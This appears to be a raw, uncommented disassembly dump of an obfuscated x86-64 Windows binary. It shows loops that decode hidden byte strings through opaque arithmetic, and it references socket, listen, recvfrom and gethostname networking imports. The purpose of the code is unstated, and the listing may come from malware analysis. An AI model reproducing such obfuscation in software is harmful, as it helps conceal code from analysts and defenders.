add r10b, 0x3f
dec rbx
inc rbx
jmp 0x14007ffc2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008097e
movabs rcx, 0xa92f976a536b9665
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x3d
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ffc2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400809ab
movabs rcx, 0xe97004c4e8fe50df
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x19
jmp 0x140080d4d
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14008052c
movabs rcx, 0x69f0df7a1423c5d3
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x3b
movzx eax, byte [rbp + rbx + 0x810]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ffc2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140080a2d
movabs rcx, 0x8a91f0dc8a129804
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x1c
movzx eax, byte [rbp + rbx + 0x810]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ffc2
inc rax
cmp r8, rax
jne 0x140080a59
movabs rcx, 0xcad25e371fa5527e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x72
jmp 0x140080d80
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140080a8b
movabs rdx, 0xb12cb91b5380cf8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140080d4d
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140080ab9
movabs rcx, 0x8b93a646e05d81ec
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x74
jmp 0x140080c20
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140080aec
movabs rcx, 0xc1480fc0b82f6e0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
dec rbx
inc rbx
jmp 0x14007ffc2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400804e0
movabs rdx, 0x8c955bb136a86bd4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140080cd0
movabs rdx, 0xd16366661cde0c8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, byte [rbp + rbx + 0x810]
sub r10b, al
sub r10b, 0x78
add r10b, r11b
add r10b, dl
movabs rdx, 0xad366d13ac973e05
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x23
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x810], cl
jmp 0x140080c20
movabs rdx, 0x4d56a3c0f7609b42
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x140080d4d
movabs rcx, 0x64e8546664ad344b
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0xd
movzx eax, byte [rbp + rbx + 0x810]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ffc2
movabs rdx, 0xe46779b13987bf57
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x61
add r10b, dl
jmp 0x140080d4d
movabs rcx, 0x63e69efc0e624a63
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x4b
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ffc2
movabs rcx, 0xe365c446e33cd56f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 9
dec rbx
inc rbx
jmp 0x14007ffc2
movabs rcx, 0xa32556ec4daa1af5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x4d
inc r9
dec rbx
inc rbx
jmp 0x14007ffc2
movabs rcx, 0x62e4e991b817607b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5d
jmp 0x140080cd0
movabs rcx, 0xe2640edc8cf1eb87
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x4f
movabs rcx, 0x6cf5ffb91704838b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x33
add cl, r11b
mov byte [rbp + rbx + 0x810], cl
inc r9
dec rbx
inc rbx
jmp 0x14007ffc2
movabs rcx, 0x61e3342761cc7693
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 5
dec rbx
inc rbx
jmp 0x14007ffc2
mov r11, rdx
movabs rcx, 0x60e17ebd0b818cab
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x53
movabs rdx, 0xed76da6e4229f87f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x79
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x810], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x8d97111b8cf355bc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x24
add cl, r11b
mov byte [rbp + rbx + 0x810], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x810]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ffc2
movabs rcx, 0xe060a407e05c17b7
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
dec r10b
movzx eax, byte [rbp + rbx + 0x810]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ffc2
movabs rcx, 0x30bc6807da9d70b1
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x29
jmp 0x14007ffbe
movabs rcx, 0xf07bfaad450ab637
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7f
jmp 0x14007ffa1
lea rcx, [rbp + 0x14aad0c]
jmp 0x140080e5b
lea rcx, [rbp + 0x1140a49]
jmp 0x140080e5b
lea rcx, [rbp + 0x810]
mov dword [rbp + 0xf20], 0x64
mov dword [rbp + 0xf28], 1
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0xf20]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xf28]
lea r8, [rdi + 0x30]
mov edx, 4
call fcn.1400375c0
mov byte [rbp + 0xd10], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xd11], Ordinal_211
mov byte [rbp + 0xd12], gethostname
xorps xmm0, xmm0
movups xmmword [rbp + 0xd13], xmm0
movups xmmword [rbp + 0xd23], xmm0
movabs rdi, 0x20bfda4b52c6aac3
movabs rsi, 0xd8c51ecdff53bf9d
movabs r15, 0x18f3b2828835d77
movabs r14, 0xd5a6a87dae4d04af
movabs r12, 0xd288322d5d4649c1
movzx r10d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x140081c85
movzx r11d, byte [rbp + rbx + 0xd10]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x140081c79
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140080f5c
lea rcx, [rbx + r15]
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
sub r10b, 0x41
jmp 0x140080f95
je 0x140081bf4
inc rax
cmp r8, rax
je 0x140081b8c
lea rax, [r9 + 3]
cmp r8, rax
je 0x140081b36
lea rax, [r9 + 5]
cmp r8, rax
je 0x140081ad8
lea rax, [r9 + 8]
cmp r8, rax
je 0x140081a87
cmp r9, rbx
ja 0x140081c70
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x140080fc3
lea rdx, [rbx + rdi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x55
add r10b, dl
jmp 0x140081000
lea rax, [r9 + 1]
cmp r8, rax
je 0x140081a66
lea rax, [r9 + 3]
cmp r8, rax
je 0x140081a3c
lea rax, [r9 + 2]
cmp r8, rax
je 0x140081a17
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400819e3
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14008162b
nop dword [rax]
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140081602
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400815d5
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400815a6
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14008157e
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140081555
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140081521
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400814f8
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400814d4
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008149a
lea rax, [r9 + 3]
cmp r8, rax
je 0x140081010
lea r8, [r9 + 4]
lea r9, [r8 + 5]
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140081c4c
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140081c28
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400811dd
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400811c2
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400811a7
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14008143c
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400813dd
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14008138e
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14008135f
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140081010
lea r8, [r9 + 0x2a]
lea r9, [r8 + 1]
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140081325
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140081301
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400812d8
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400812a4
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14008127b
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140081257
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140081228
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400811fb
lea r8, [r9 + 5]
lea r9, [r8 + 6]
jmp 0x140081010
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4b
jmp 0x140081000
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x37
jmp 0x140080f95
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub dl, 0x47
add r10b, dl
jmp 0x140080f25
movabs rcx, 0x2e05c0a452e9b2a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x26
inc r9
dec rbx
inc rbx
jmp 0x140080f12
movabs rdx, 0xffc1e5b9f427e03c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140080f12
movabs rcx, 0xfca36f69a321254e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x22
jmp 0x140081af7
movabs rdx, 0xf984f919521a6a60
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140081b1e
movabs rcx, 0xf66682c90113af72
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1e
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140080f12
movabs rdx, 0xf3480c78b00cf484
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140081b57
movabs rcx, 0xf02996285f063996
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1a
jmp 0x140081bae
movabs rdx, 0xed0b1fd80dff7ea8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xd10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140080f12
movabs rcx, 0xe53ef80f436eab55
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x53
mov byte [rbp + rbx + 0xd10], r10b
inc rbx
jmp 0x140080f12
movabs rcx, 0xe22081bef267f067
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x2f
cmp r9, 2
jb 0x14008137e
movabs rcx, 0x9f11920024573d6a
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_listen
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x140081aa6
movabs rcx, 0xdf020b6ea1613579
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4f
cmp r8, 6
jae 0x14008198d
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x14008188b
movabs rdx, 0x7fe0f2dcfa13f01e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400813ad
movabs rcx, 0xdbe3951e505a7a8b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x33
lea rax, [r9 + r8]
cmp rax, 0x10
je 0x1400819bd
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x1400817a9
movabs rcx, 0x5f211891a74d455b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7d
jmp 0x1400813fc
movabs rdx, 0xc47f1dc3f0a80092
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 1
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xd10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140080f12
movabs rcx, 0xc160a7739fa145a4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7c
jmp 0x140081bae
movabs rdx, 0xbe4231234e9a8ab6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 3
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140081b57
movabs rcx, 0xbb23bad2fd93cfc8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x78
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140080f12
movabs rdx, 0xb8054482ac8d14da
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 5
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140081b1e
movabs rdx, 0xb4e6ce325b8659ec
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x74
add r10b, dl
jmp 0x140081af7
movabs rdx, 0xb1c857e20a7f9efe
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 7
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140080f12
movabs rcx, 0xaea9e191b978e410
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x70
inc r9
dec rbx
inc rbx
jmp 0x140080f12
movabs rdx, 0xab8b6b4168722922
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 9
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140081aa6
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x140081652
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x41
jmp 0x14008145b
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140081695
movabs rdx, 0x417fb496a58d5586
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xd10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140080f12
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400816c7
movabs rdx, 0x47bca137479acb62
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140081b57
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140081705
movabs rcx, 0x4adb178798a18650
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x30
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140080f12
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140081737
movabs rdx, 0x4df98dd7e9a8413e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140081b1e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008176f
movabs rdx, 0x54367a788bb5b71a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x140080f12
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008145b
movabs rcx, 0x5754f0c8dcbc7208
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
inc r9
dec rbx
inc rbx
jmp 0x140080f12
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400817d9
movabs rdx, 0x623f8ee1f8540049
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
inc r10b
add r10b, dl
jmp 0x140081aa6
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008180c
movabs rcx, 0x687c7b829a617625
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 3
dec rbx
inc rbx
jmp 0x140080f12
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140081849
movabs rcx, 0x71d7de738d75a6ef
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x77
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140080f12
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400813fc
movabs rcx, 0x7b3341648089d7b9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xf
movzx eax, byte [rbp + rbx + 0xd10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140080f12
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400818c9
movabs rcx, 0x82ff692d4b1aab0c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x54
movzx eax, byte [rbp + rbx + 0xd10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140080f12
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400818f6
movabs rcx, 0x893c55cded2820e8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x58
jmp 0x140081b57
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140081923
movabs rcx, 0x8f79426e8f3596c4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5c
jmp 0x140081b1e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140081955
movabs rdx, 0x9297b8bee03c51b2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140081af7
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400813ad
movabs rcx, 0x95b62f0f31430ca0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
dec rbx
inc rbx
jmp 0x140080f12
movabs rdx, 0xa2300850755df858
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0xd10]
sub r10b, al
sub r10b, 0x68
add r10b, dl
add r10b, r11b
jmp 0x140081af7
movabs rdx, 0xa54e7ea0c664b346
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x140081b57
movabs rcx, 0x3376a02d38ef0c57
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x61
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140080f12
movabs rcx, 0x305829dce7e85169
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x21
jmp 0x140081b1e
movabs rcx, 0x2a1b3d3c45dadb8d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x25
dec rbx
inc rbx
jmp 0x140080f12
movabs rcx, 0x23de509ba3cd65b1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x29
jmp 0x140081aa6
movabs rcx, 0x1da163fb01bfefd5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x2d
movabs rcx, 0xa0a0cd284cda9ae1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x27
add cl, r11b
mov byte [rbp + rbx + 0xd10], cl
inc r9
dec rbx
inc rbx
jmp 0x140080f12
movabs rcx, 0x1446010a0eabbf0b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4d
movabs rcx, 0xa3bf43789de155cf
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x57
add cl, r10b
add cl, r11b
mov byte [rbp + rbx + 0xd10], cl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140080f12
mov r11, rdx
movabs rcx, 0xaea9e191b978e41
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x39
movabs rdx, 0xa6ddb9c8eee810bd
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x2b
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xd10], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x140081bae
movabs rcx, 0x7cc27c8ca90d353
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x45
movzx r11d, dl
movabs rcx, 0xa86cf4f1176b6e34
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x6c
add cl, r11b
mov byte [rbp + rbx + 0xd10], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xd10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140080f12
movabs rcx, 0x4adb178798a1865
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x3d
movzx eax, byte [rbp + rbx + 0xd10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140080f12
movabs rcx, 0xcf69bbdd0c3f8ed3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x3b
jmp 0x140080f10
movabs rcx, 0xcc4b458cbb38d3e5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x43
jmp 0x140080f00
lea r14, [rbp + 0x142d904]
jmp 0x140081c8c
lea r14, [rbp + 0xc6367b]
jmp 0x140081c8c
lea r14, [rbp + 0xd10]
lea rdx, [0x14021acd0]
lea rcx, [rbp + 0x5c0]
call fcn.1400022f0
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x150]
mov rcx, qword [0x140220748]
call fcn.14006b3a0
mov rsi, qword [rax]
mov rcx, rbx
call fcn.140002490
cmp byte [rsi + 0x38], 0
jne 0x1400a26f3
mov byte [rbp + 0xd38], __WSAFDIsSet
mov byte [rbp + 0xd39], 0xf4
mov byte [rbp + 0xd3a], 0xf7
mov byte [rbp + 0xd3b], 0xff
mov byte [rbp + 0xd3c], 0xf4
mov byte [rbp + 0xd3d], Ordinal_79
mov byte [rbp + 0xd3e], __WSAFDIsSet
mov byte [rbp + 0xd3f], 0xfd
mov byte [rbp + 0xd40], 0x44
mov byte [rbp + 0xd41], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xd42], 0xfb
mov byte [rbp + 0xd43], 0xfe
mov byte [rbp + 0xd44], 0xeb
mov byte [rbp + 0xd45], 0x61
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd46], xmm0
mov dword [rbp + 0xd56], eax
mov byte [rbp + 0xd5a], al
movabs rdx, 0x4ca6c5026ef748c2
movabs r15, 0x80323cdeba31a1a
movabs r12, 0xaef036223c43c526
movzx r11d, byte [rsp + 0x40]
mov r9, qword [0x140220a80]
mov r8, qword [0x140220a78]
nop
xor edi, edi
movabs rcx, 0x3124b88fe6a63e32
cmp rdi, 0x23
jae 0x140082a6f
movzx ebx, byte [rbp + rdi + 0xd38]
mov r10, rbx
cmp r9, rdi
ja 0x140082a63
lea rax, [r8 + 1]
cmp r9, rax
jae 0x140081dcc
add rcx, rdi
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
sub r11b, 0x5e
jmp 0x140081e06
je 0x1400829c2
lea rax, [r8 + 3]
cmp r9, rax
je 0x140082936
lea rax, [r8 + 2]
cmp r9, rax
je 0x1400828f6
lea rax, [r8 + 5]
cmp r9, rax
je 0x1400828a8
lea rax, [r8 + 7]
cmp r9, rax
je 0x140082870
cmp r8, rdi
ja 0x140082a57
lea rax, [r8 + 3]
cmp r9, rax
jae 0x140081e3e
lea rdx, [rdi + r15]
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0x4ca6c5026ef748c2
jmp 0x140081e70
lea rax, [r8 + 1]
cmp r9, rax
je 0x140082814
lea rax, [r8 + 3]
cmp r9, rax
je 0x140082803
lea rax, [r8 + 5]
cmp r9, rax
je 0x1400827c6
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400824d4
nop dword [rax]
lea rax, [r8 + 0x20]
cmp r9, rax
je 0x1400824b1
lea rax, [r8 + 0x10]
cmp r9, rax
je 0x14008247b
lea rax, [r8 + 0x2a]
cmp r9, rax
je 0x140082467
lea rax, [r8 + 0x5a]
cmp r9, rax
je 0x140082453
lea rax, [r8 + 0x42]
cmp r9, rax
